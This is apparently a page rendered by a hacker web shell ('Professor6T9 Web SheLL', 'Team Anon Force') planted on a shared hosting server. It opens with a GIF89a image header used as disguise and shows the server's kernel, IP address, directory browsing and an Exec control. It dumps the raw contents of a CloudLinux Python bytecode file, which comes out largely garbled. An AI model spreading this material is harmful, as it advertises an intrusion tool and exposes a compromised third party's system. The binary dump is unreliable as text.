GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
proc
/
thread-self
/
root
/
opt
/
cloudlinux
/
venv
/
lib
/
python3.11
/
site-packages
/
ssa
/
__pycache__
[ HOME ]
Exec
Submit
db.cpython-311.pyc
� 4C�iJ � �B � d dl Z d dlZd dlZd dlmZmZ d dlmZmZmZm Z m Z mZmZm Z mZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d Zed z ZdZ e� � Z G d� d e� � Zd� Zd� Zd� Z d� Z!d� Z"d� Z#d� Z$dd�Z%d� Z&d� Z'd� Z(ej) defd�� � Z*dS )� N)�datetime� timedelta) �Column�Boolean�DateTime�Integer�String� create_engine�event�func�text)�declarative_base)� Inspector)�Session)�close_all_sessions)� DatabaseErrorz/var/lve/ssa.dbz.old� c �� � e Zd ZdZdZ eed�� � Z eedd�� � Z eedd�� � Z eed�� � Z eed�� � Z ee d�� � Z ee d�� � Z eed�� � Z eed�� � Z ee d�� � Z e ed�� � ej � � d� � � Z e ed�� � ej � � ej � � � � � ZdS )� RequestResultay Describes processed request stored in database file. E.g. { "timestamp": "1650008727", "url": "http://mydomain.com/index.php", "duration": 162077, "hitting_limits": false, "throttled_time": 0, "io_throttled_time": 0, "wordpress": true } Note: created_at, updated_at is saved in local TZ format � scrape_resultT)�primary_keyF)�index�nullable)r )�timezone)�server_defaultr )�onupdater N)�__name__� __module__�__qualname__�__doc__� __tablename__r r �idr �domain�path� timestamp�durationr �is_slow_request�hitting_limits�throttled_time�io_throttled_time� wordpressr r �now� created_at� updated_at� � �=/opt/cloudlinux/venv/lib64/python3.11/site-packages/ssa/db.pyr r % sR � � � � � �� � $�M� ���T� *� *� *�B� �V�F�$�� 7� 7� 7�F��6�&��u�5�5�5�D���w��/�/�/�I��v�g��.�.�.�H��f�W�u�5�5�5�O��V�G�e�4�4�4�N��V�G�e�4�4�4�N���w��7�7�7����w��/�/�/�I� ����$�/�/�/���� � �RV�W�W�W�J�����$�/�/�/�(�$�(�*�*�U]�UY�U]�U_�U_�`�`�`�J�J�Jr0 r c �^ � t j � � t t �� � z }t | � � 5 }|� t � � � t j |k � � � � � ddd� � n# 1 swxY w Y t | � � dS )zz Removes outdated records from database, saving disk space. Runs VACUUM after deletion to reclaim disk space. )�daysN)r �todayr �RETENTION_TIME_DAYS� session_scope�queryr �filterr- �delete�vacuum_database)�engine� n_days_ago�sessions r1 �cleanup_old_datar>